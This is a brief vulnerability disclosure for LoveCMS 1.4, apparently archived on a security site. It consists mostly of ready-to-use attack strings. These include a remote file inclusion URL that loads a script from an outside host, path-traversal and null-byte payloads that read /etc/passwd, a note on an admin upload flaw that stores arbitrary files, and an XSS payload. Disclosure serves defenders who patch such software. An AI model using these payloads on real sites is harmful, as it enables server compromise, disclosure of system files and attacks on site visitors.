TUCoPS :: Web :: CMS / Portals :: c07-2426.htm

LoveCMS 1.4 multiple vulnerabilities
LoveCMS 1.4 multiple vulnerabilities
LoveCMS 1.4 multiple vulnerabilities



rfi:
/lovecms/install/index.php?step=http://site.com/boum.txt? 

lfi:
/lovecms/install/index.php?step=/etc/passwd%00
/lovecms/?load=../../../../../../../../../../etc/passwd%00

admin upload vuln :
upload any kind of file even if it's not accepted it will be stored here :
/modules/content/pictures/tmp/

xss get via error sql:
/lovecms/?load=content&id=''">

laurent gaffi=E9

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH